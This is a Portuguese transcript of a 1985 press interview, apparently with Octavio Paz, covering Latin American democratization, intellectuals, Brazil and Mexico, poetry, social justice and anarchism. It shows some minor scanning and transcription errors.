A entrevista que se segue foi concedida, dentre outros, aos repórteres "Getulio Alencar, Luiz
Nogueira e Ana Maria F. Carvalho, de "Pau Brasil", 1985.
PB – Quais são as chances de sobrevivência das democracias que estão se instalando com as eleições do presidente Sanguinetti, no Uruguai; na Argentina com o
Alfonsin, no Brasil com Sar-ney e de Belaundi Terry, no Peru?
OP – Um
dos fenômenos mais importantes da história
moderna no nosso continente com o regresso da democracia é o Brasil, a Argentina, o Uruguai e agora o Peru. O Peru desde 1912, para
falar com exatidão, não exercia a democracia. Em todos os lados,a democracia
está sempre em perigo. A liberdade tem um preço na conquista, não
é um presente que nos dão, portanto
temos de conservá-la. Na maior parte dos países da América Latina, durante a primeira metade do século, se viram
convulsões muito graves e chamaríamos
atenção entre o passado autoritário da América Latina e a democracia na atualidade. A instabilidade é produto dos regimes autoritários. Estes regimes, especialmente os militares, como na Argentina, demonstraram a sua ineficácia. Foram capazes de garantir a ordem,
mas uma ordem de tumbas, uma ordem sinistra,
uma grande repressão, mas não a ordem das
instituições. Além disso, não conseguiram desenvolver seus países e devolver-lhes sua vitalidade criadora. Eu creio que na democracia está a possibilidade de devolver à sociedade aquilo que lhe foi resgatado e que a sociedade adquiriu agora.
Eu creio que a classe militar não vai ter um papel negativo no futuro, porque
foi demonstrado que pode garantir a ordem
e a independência do País, mas de nenhuma maneira governá-lo. Agora, é importante saber o que vamos fazer com a democracia e aí é necessário uma atenção redobrada e permanente dos povos, dos
partidos políticos e dos intelectuais, porque existe
uma tensão muito grave entre governos libertários e liberdade. Nossos povos
têm necessidade de liberdade. Ao mesmo tempo e, por todos os lados, principalmente nos países do México e do Brasil é necessário uma maior perseguição. Desta forma conseguiremos chegar à plenitude
de sociedades mais prósperas, mais justas e
mais livres. Há aí um fenômeno novo também,
na classe intelectual. Os intelectuais da América Latina estiveram durante muito tempo enamorados dos esquemas
ideológicos, das utopias
geométricas. Agora parecem recobrar certo criticismo; são muito mais
pragmáticos e defendem muito mais os problemas de hoje ao invés de
propor a criação de cidades do futuro, que, em
realidade, transformaram-se em cárceres.
"Os intelectuais da
América Latina representam
a
decência da democracia".
PB – Qual
é o papel que cabe aos intelectuais nessas mudanças que estão
ocorrendo na América Latina?
OP – Creio que os intelectuais têm de exercer a virtude da sobriedade, da dúvida. Duvidar é não ter
crença em receitas absolutas. Na realidade, os intelectuais têm tido uma
função dupla não só na América Latina mas em
todo mundo. Por um lado, eles têm
sido criadores de um grande sistema intelectual que às vezes tem sido favorável e às vezes perigoso; por outro lado, a classe intelectual tem exercido a crítica. Por isso, eu
a-credito que neste momento, na América Latina, eles representam a
decência da democracia, o que
significa tolerância, ao mesmo tempo crítica; crítica do poder e também autocrítica. Em alguns aspectos a classe intelectual latino-americana necessita fazer uma autocrítica de suas ações
no decurso dos últimos 50 anos.
PB – Quais
os elementos comuns entre o Brasil e México e como o senhor fica conhecendo a realidade
brasileira?
OP – Fico conhecendo pelos métodos tradicionais de informação. Em primeiro lugar pelas notícias
de jornal, revista, televisão, livros, historiografia latino –
americana, literatura brasileira e através
de contato com escritores, intelectuais e, sobretudo, dos poetas
brasileiros. Eu creio que o Brasil e o
México se parecem, ao mesmo tempo em que são bastante distintos do resto da América Latina. Os brasileiros são de
cultura lusitana e são abertos ao
mundo, digamos assim; nós mexicanos,
somos muito mais introvertidos. Aqui no Brasil abundam os grandes rios e uma vegetação muito variada, enquanto no México abundam
as montanhas e não há muita água. Mas há
semelhanças: os dois foram impérios, o imperador
Maximiliano que morreu infortunadamente, era primo do imperador do Brasil D.
Pedro I. Pensou-se em certo momento que haveriam
dois impérios latino – americanos que poderiam
enfrentar a República Norte Americana.
Isto tem a ver com o passado e com o presente, porque o México, devido ao desenvolvimento econômico
acelerado, às injustiças e a um crescimento
da população muito grande, possivelmente,
é um dos países mais dinâmicos do continente e também um dos países com maiores contrastes econômicos, sociais e culturais. Há uma grande diversidade de regiões no México e no Brasil. Às vezes, quando penso no
México e no Brasil, penso na pele de um leopardo com suas manchas
luminosas e outras opacas. Parecemo-nos,
talvez, nas diferenças agudas, frente aos outros e frente a nós mesmos. Mas somos muito distintos, evidentemente,
porque há regiões em que predomina o elemento atlântico e outro o
pacífico, o índio, o negro, o italiano. Eu
diria que a antropologia da América Latina está para nascer.
"Os
militares só garantiram
uma ordem sinistra,
a das tumbas".
PB – Como
o senhor vê a questão do índio no México
e no Brasil, que foram países basicamente
indígenas na época da colonização? Hoje a América Latina inteira está se tornando um continente branco. Como é que o senhor vê essa
questão de uma minoria que já foi a grande maioria?
OP – Este é um problema muito
complicado, mas creio que a primeira
diferença no Brasil, na Argentina e
nos Estados Unidos, é que as populações
indígenas eram nômades ou seminômades,
enquanto no México e no Peru eram sedentárias. Por isso, os astecas, toltecas,
maias, incas criaram grandes civilizações e grandes centros de cultura. Quando os espanhóis fundaram a colônia espanhola no México, de certo modo, a
cultura asteca continuou. Os conquistadores espanhóis na Nueva España (o México) exterminaram os chefes astecas dos índios mas não as populações, que sobrevivem até hoje. A população
foi forçada a trabalhar nas minas, na agricultura etc. De modo que já no século XVI, sobretudo, no século XVII, XVIII e XIX se misturaram. Racionalmente, o México é um país
profundamente mestiço e o Brasil muito mulato, pelo menos ouvi dizer
isso, do Gilberto Freire.
No
México, o governo tem procurado defender as minorias indígenas, mas,
naturalmente, essa ajuda é um pouco precária porque são sociedades pequenas,
que não serão exterminadas mas absorvidas.
Eu lamento profundamente isso porque
a cada língua, a cada comunidade que desaparece perde-se também uma
visão do homem. Eu sou pela pluralidade e não pela uniformidade. Mas me parece
fundamentalmente, que no continente há instituições pró-ocidentais e nós somos
também como os norte-americanos, uma porção excêntrica do ocidente, mas o que
interessa saber é se conseguimos criar algo
original e eu aposto na criatividade da América Latina. A literatura
atual da América Latina, em sua rama portuguesa, em sua rama brasileira, e em
sua rama hispano-americana tem demonstrado que neste continente há possibilidades criadoras. Um dos fenômenos
novos, forte no século XIX, foi quando a Europa descobriu a
grande li te ratara russa e a literatura norte-americana. No co- meço do século XX quando
descobriu Withman e outros poetas norte-americanos, assim como havia
descoberto os grandes novelistas e os poetas russos Tolstoi. Dostoievski etc.
Na segunda metade do século XX o mundo descobriu, pouco
a pouco, a grande literatura latino-america na. Estes são fenômenos
novos e que nos devolves a política e a economia, nos
tiram a fé, que a arte da literatura nos
devolve.
PB – Há
quem diga que a literatura é mais criadora
nos períodos de opressões e nos períodos da ditadura.
OP – Este é um paradoxo. O escritor francês Jean Genet dizia que não havia nada como se oprimir
as crianças para criar bons poetas. Essa é
uma piada demasiadamente cruel. Eu não creio nisso. Eu creio que a democracia produz boa literatura. Além
de tudo, a grande tragédia grega não foi
criada pela tirania e sim pela democracia ateniense.
PB – O
senhor vê em Jorge Luis Borges uma espécie de síntese da cultura da América
Latina?
OP – Eu não acho isso. Acho que é um dos escritores representativos de nações ou países e do próprio Borges. Ele é um mundo, isso sim. Um mundo como todos os grandes escritores. É um mundo
argentino, com toda a influência do povo
europeu, como também dos célticos. Ele foi um dos escritores que falou da
literatura japonesa e chinesa. Não é o
único e não é dos primeiros.
"Creio
que a
democracia
não é
garantia da
justiça social".
PB – Vai ocorrer agora uma eleição presidencial na Bolívia, lá se levanta cada vez mais essa questão da democracia e da justiça social. Como o senhor
vê esse problema?
OP – Creio que a democracia não é garantia de justiça social. Mas acho que sem a índole democrática
não pode haver justiça social, porque um dos fundamentos da democracia é
a liberdade de associação, a liberdade de
voz. a liberdade de pensar. Num país onde os trabalhadores não têm direito de associação, de voz e onde os intelectuais
não podem fazer a crítica do regime, esse país estará fatalmente condenado a desenvolver-se de modo
unilateral. Por exemplo, desenvolver-se
apenas militarmente e nada mais. Por isso, acredito que as tiranias e os
despotismos são sempre sinônimos de
injustiça social. Ao contrário, a democracia permite esse jogo de forças
até certo ponto, porque tudo é relativo na justiça social. Também não creio que
a justiça social seja uma dádiva e sim uma
conquista. Os trabalhadores do século passado na Europa e na América a conquistaram e a têm conquistado
graças à democracia e isso é muito importante. A democracia é o
requisito prévio da justiça social.
PB – Qual sua definição de poeta?
OP – A poesia, segundo Lautréamont, deve ser repartida entre todos. Eu cometi a ingenuidade, quando era jovem, de acreditar que a poesia era aceita por todos. Eu creio que a poesia nasce
sempre no indivíduo. Mas creio que a poesia sempre tem sido compartilhada por todos. Também creio
profundamente, que todos os homens, também
as mulheres, em algum momento de suas
vidas, são poetas, por exemplo, na infância, quando se namora ou quando se tem
um sentimento da morte.
PB – Quando
o senhor se referiu ao tempo e aos poetas até que ponto a empreitada de Proust
de recuperar o tempo perdido lhe
parece uma empresa poética?
OP – Parece-me uma empresa essencialmente poética, essencialmente humana. Todo ser humano
quer recuperar o tempo perdido. A musa da
poesia é a memória. Eu creio que os grandes novelistas de nosso século têm sido
grandes poetas épicos do nosso século,
como Proust, Maiakowski e outros
grandes poetas. Também estava pensando em todos os grandes poemas, os poemas ilustres da nossa civilização, como a Odisséia,
a Ilíada que são memórias do passado. A poesia
de Maiakowski se aventura a celebrar o futuro.
Geralmente quando a poesia tenta celebrar o futuro, se desmorona. A
grande poesia é a que conta o passado
imemorável e ao contá-lo, reinventa-o.
Geralmente ,a memória é uma fun-:ão da imaginação; ao recordar,
inventamos o que estamos recordando, estamos recriando o que recriamos. Nunca é mecânico. Não recordamos
exatamente o que ocorreu.
PB – O senhor acha importante que Ernesto Sábato seja ao mesmo tempo um pensador, um intelectual
e um denunciador de um regime político?
OP – São dois aspectos distintos. No primeiro, é um escritor novelista e um homem de imaginação.
No segundo é um intelectual, não está mal. Pode acontecer o caso.
PB – O
senhor disse que o poeta apostava
contra o tempo. Como resolver esse dilema do poeta ter de viver para o passado para se projetar para o futuro?
OP – Nós homens queremos reconquistar o passado para ser o presente e, naturalmente, quando
se faz o presente, os leitores continuam o ato
do poeta. Sem leitores não há literatura. Os leitores ao lerem o poema retornam a esse passado, fazem o
presente e o recriam.
PB – O senhor acha que a curiosidade pode substituir a memória como um elemento poético?
OP
– Eu creio que a curiosidade é uma função da
memória. Não me refiro à memória do passado recente, senão voltamos ao passado imemorial. Também penso que a
memória é uma função da imaginação. Não podemos separar memória de
imaginação.
"A
arte moderna é inconcebível, inexplicável sem a influência de tradições não ocidentais".
PE – Há algum grande escritor ou grande poeta que o
influenciou?
OP – Houve muitos, em particular os escritores,
os poetas do ocidente. Eu também vivi no oriente
e tive contato com algumas culturas. De modo que a influência da literatura
japonesa e chinesa foram bastante
profundas, abriram-me antros mundos,
assim como também a filosofia da Índia
com Ezra Pound. E o que nos distingue dos
outros, dos poetas do passado, das coisas modernas da cultura moderna é que
temos de descobrir outro plasticismo. Para o homem do século XVIII, por exemplo, os
clássicos foram fundamentais – os
gregos e os latinos. Para o homem
do século XX, aconteceram, também como Pound. gênios da cultura chinesa e da cultura japonesa. A arte moderna é inconcebível e inexplicável
sem a influência de tradições não ocidentais. por exemplo, a cultura
negra, a cultura do pacífico, da Oceania e da arte pré-colombiana. De modo que nós, pela primeira vez, temos um
plasticismo que não é simplesmente greco-romano ou renascentista, mas um
plasticismo que abrange todas as culturas.
Isto é muito interessante porque o classicismo grecorromano e
renascentista está fundado sobretudo na figura humana. O homem é o centro da
criação, tanto na pintura, na escultura,
como na literatura. Descobrimos também que o homem é um dos elementos
do universo, do cosmos. Isto se vê muito
bem nos primitivos e em outras culturas distintas, como na cultura
ocidental.
PB – O
que garante a justiça social, já que o senhor disse que a democracia não é garantia da justiça social e que a justiça social é uma conquista?
OP – Eu creio que a democracia é um espaço livre da ação individual e da ação coletiva. Esse
espaço democrático permite que os
grupos sociais tenham conquistas,
que tenham sobretudo o direito da associação, o direito de protesto, de expressão.
A garantia são os direitos individuais ou
coletivos que permitam o livre jogo das for-forças sociais, ao mesmo tempo maiores possibilidades de
conquistas.
"Liberalismo e estatismo
são passado. Há que se
encontrar novas idéias".
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PB – O senhor acha, então, que o liberalismo ainda é a filosofia e a questão fundamental da justiça
social?
OP – Eu acho que todas as filosofias pensam que a justiça social é essencial para os liberais e essencial para a consciência somente como livre jogo com as forças sociais. Isto é uma ambição fundamentalmente do século XVIII e XIX. A história do século XIX demonstrou-nos,
na luta dos trabalhadores por melhores
níveis de vida, por educação, ou ainda no século XX na
luta das mulheres, nas lutas pelo direito dos jovens ou pela liberdade sexual. Nesse sentido, os termos de liberalismo e estatismo são do passado. Há que se encontrar novos vocabulários e novas idéias. Enfim, o que caracteriza o mundo moderno são as maiores liberdades de uma parte
e o reconhecimento de maiores direitos para as
minorias. A democracia foi um caminho na Europa,onde deu frutos
magníficos. Eu tive um amigo que foi um velho bolchevique, Victor Serge, que morreu no México depois de ter vivido
muitos anos na Bélgica e, em 1917, foi para a
Rússia, sendo um dos poucos prisioneiros políticos que o Stalin deixou sair da
União Soviética, sobretudo, pela interferência de André Gi-de, André Malraux e outros. O Victor Serge
contou-me que tinha ido a Bruxelas e que os sociais – democratas fizeram o que
eles na Rússia não conseguiram fazer
pelos trabalhadores. Está certo de que a social democracia fez
coisas muito importantes, mas evidentemente não é tudo o que se pode fazer.
"A sociedade ideal teria
um mínimo de governo, seria
forte e o Estado débil".
PB – E sobre o anarquismo como ideologia, teria algo
a dizer?
OP – Sim, creio que muito. Pelo menos sinto uma imensa simpatia pelo pensamento libertário.
E gosto que haja libertários de esquerda e de
direita como Jorge Luiz Borges, por exemplo. Cabem todos. Tenho grande
simpatia pelo anarquismo, mas me
parece difícil. O que ameaça o anarquismo? Por uma parte a guerra. Não é
possível ter governos fracos se há guerra. Por isso a luta pela paz
está ligada fundamentalmente à liberdade.
Assim, quanto menos perigo de guerra,
haverá Estados menos poderosos e em conseqüência
haverá maiores possibilidades de liberdade
para os povos. Em segundo lugar, as sociedades
internas que praticam a intolerância. Onde
há grupos que por meio do terror e da violência
querem impor suas idéias, grupos em geral minoritários. Esses grupos provocam e convocam os militares para soluções
de força. Não esqueçamos que grande
parte dos males do militarismo na
América Latina tem sido uma resposta
aos males da anarquia e da violência social. Primeiro, tenho uma grande simpatia pelo movimento
anarquista e segundo, este é um i deal
inalcançável. Creio que é uma utopia, coisa rara das utopias. As utopias em
gerai são maléficas, por isso é uma utopia que,diferente das outras,
exatamente por se opor a um sistema governamental é criadora e vivificante. O
ideal da sociedade seria sim, o mínimo do
governo, uma sociedade forte e um Estado débil, mas isto é muito difícil
de obter porque o Estado se fortalece pela ameaça da guerra. Aí onde há ameaça de guerra, o Estado cresce. O anarquismo ideal permitiria a paz social, a paz total. Depois
a outra ameaça contra a realidade anarquista é a violência interna. Portanto, as duas ameaças são: a violência externa da guerra e a violência
interna da discórdia civil.
PB – Seja qual for a ideologia, o que se percebe no mundo moderno é o fortalecimento cada vez maior do Estado e o conseqüente enfraquecimento da sociedade. Como é que o senhor crê que se pode
combater isto, já que seria uma forte injustiça o fortalecimento do Estado e o
enfraquecimento da sociedade?
OP – Aí entra em jogo uma luta entre a sociedade e o
Estado. As vezes, o Estado começa como defensor dos direitos dos
débitos, por exemplo, a democracia e o
liberalismo do século XIX produziram imediatamente a concentração excessiva da riqueza, ao
mesmo tempo a opressão da classe
trabalhadora. Graças à democracia, trabalhadores se associaram e, muitas vezes, o Estado se conduziu em defesa dos trabalhadores; este é um
fenômeno do século XX.
i-
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